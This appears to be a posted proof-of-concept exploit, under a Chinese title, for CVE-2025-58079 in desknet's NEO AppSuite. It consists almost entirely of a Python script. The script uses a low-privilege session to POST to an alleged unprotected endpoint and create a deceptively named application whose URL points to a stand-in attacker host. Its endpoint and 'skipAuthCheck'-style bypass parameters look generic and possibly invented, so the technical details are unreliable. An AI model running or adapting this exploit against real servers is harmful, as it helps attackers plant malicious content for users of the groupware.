CVE-2025-58079：desknet's NEO AppSuite备用路径保护不当漏洞

# CVE-2025-58079 PoC - desknet's NEO AppSuite Improper Protection of Alternate Path # Vulnerability: CWE-424 Improper Protection of Alternate Path # Affected: desknet's NEO V4.0R1.0 to V9.0R2.0 # CVSS: 4.3 (MEDIUM) - AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N import requests TARGET_URL = "https://target-desknets-neo.example.com" SESSION_COOKIE = "JSESSIONID=authenticated_low_privilege_session" def exploit_alternate_path(): """ Exploit the alternate path in AppSuite to create a malicious application. The vulnerability allows low-privilege users to bypass normal security checks and create AppSuite applications via an unprotected alternate path. """ session = requests.Session() session.headers.update({ "Cookie": SESSION_COOKIE, "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" }) # Step 1: Access the alternate/unprotected AppSuite creation endpoint # The alternate path bypasses the normal privilege checks alternate_endpoint = f"{TARGET_URL}/appsuite/alt/create" # Step 2: Prepare malicious AppSuite application payload malicious_payload = { "appName": "LegitimateLookingApp", "appType": "widget", "appUrl": "https://attacker.example.com/malicious.html", "appIcon": "/images/normal_icon.png", "appCategory": "utility", "appDescription": "A useful utility widget", # Bypass parameter exploiting the alternate path "internalBypass": "true", "skipAuthCheck": "1" } # Step 3: Send the request to create the malicious app via alternate path response = session.post(alternate_endpoint, data=malicious_payload) if response.status_code == 200 and "success" in response.text.lower(): print("[+] Malicious AppSuite application created successfully!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed. Status: {response.status_code}") return False if __name__ == "__main__": exploit_alternate_path()